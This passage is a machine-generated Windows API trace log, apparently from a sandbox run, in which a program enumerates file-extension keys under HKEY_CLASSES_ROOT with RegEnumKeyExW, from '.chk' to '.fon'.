RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x49, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".chk", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".chm", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cls", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cmd", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cod", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".com", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".compositefont", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.719] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x50, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".contact", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x51, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cpl", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x52, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cpp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x53, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cr2", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x54, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cr3", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x55, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".crl", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x56, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".crt", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x57, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".crw", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x58, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cs", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x59, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".csa", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.720] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".csproj", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".css", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".csv", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cur", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".cxx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dat", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x60, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".db", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x61, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dbg", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x62, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dbs", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x63, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dcr", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.721] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x64, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dcs", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x65, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dct", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x66, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dctx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x67, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dctxc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x68, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dds", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x69, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".def", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".der", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".desklink", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".deskthemepack", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".diagcab", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".diagcfg", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.722] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".diagpkg", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.723] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x70, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dib", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.723] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x71, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dic", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.723] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x72, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".divx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.723] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x73, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".diz", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.723] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x74, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dll", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.723] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x75, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dl_", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.723] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x76, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dng", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.723] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x77, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".doc", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.723] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x78, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".docx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x79, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dos", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dot", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".drf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".drv", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dsn", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dsp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dsw", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x80, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dtcp-ip", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x81, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".dvr-ms", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.724] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x82, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ec3", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.725] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x83, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".eip", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.725] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x84, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".emf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.725] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x85, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".eml", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.725] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x86, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".eps", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.725] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x87, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".epub", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.725] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x88, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".erf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.725] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x89, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".etp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.725] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".evt", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.725] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".evtx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".exe", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".exp", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ext", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".ex_", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x90, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".eyb", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x91, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".faq", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x92, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fbx", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x93, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fdf", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x94, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fff", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x95, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fh", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.726] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x96, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fif", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.727] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x97, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fky", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.727] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x98, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".flac", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.727] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x99, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fnd", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.727] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fnt", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.727] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x9b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".fon", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, 